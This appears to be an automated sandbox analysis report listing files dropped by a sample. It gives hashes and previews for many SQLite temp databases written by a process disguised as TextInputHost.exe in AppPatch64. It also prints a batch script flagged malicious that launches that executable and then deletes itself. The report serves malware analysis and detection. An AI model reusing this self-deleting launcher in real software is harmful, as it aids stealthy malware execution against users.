Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FwWzw0dsZJ

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G2iv41pt3X

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GMYq0jyskv

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GMhh02diRn

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GTsbOobPqs

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Gm2gNexGzh

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H46x1xChMH

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HElZBHbMys

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HSPSg6s7BM

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HXRmkPlMs6

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HyB81p2x6P

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IBbQYAmIqi

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ig5ea9lbsy

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JSJioGoHJT

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JsSInhnX5w

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ka95L1VfvU

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KqB99dGIiU

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KshF7IKiHM

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	224
Entropy (8bit):	5.133074821879457
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEzgzzLKOZG1wkn23fRhn:HTg9uYDEzGzvfPn
MD5:	BBA3DEDA87FA54F88403ED82AA73298C
SHA1:	384C60C4900D97B49B6B07B2F972004D8684AE88
SHA-256:	BC220D57CE8524C9B35A924FE3A091ACF1C2287A5801FC17EB1758F088C4EDA4
SHA-512:	A8AD00AC5236754854507661A4740E69BC290DA07ACE9CE737285E160BCD8747F668E0C451657CF441001A5F1CD428C0E19F18DC9EB0F762873C79BDFF6F651E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Windows\apppatch\AppPatch64\TextInputHost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\L5wEVj25hO.bat"

C:\Users\user\AppData\Local\Temp\LA2TpVvGFl

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LTSTggDOom

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LUjAIplT8w

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LX2Ypy4Bhk

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Lg3mtTeTLa

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LoFHOfrUKR

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MGObSfbJyz

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
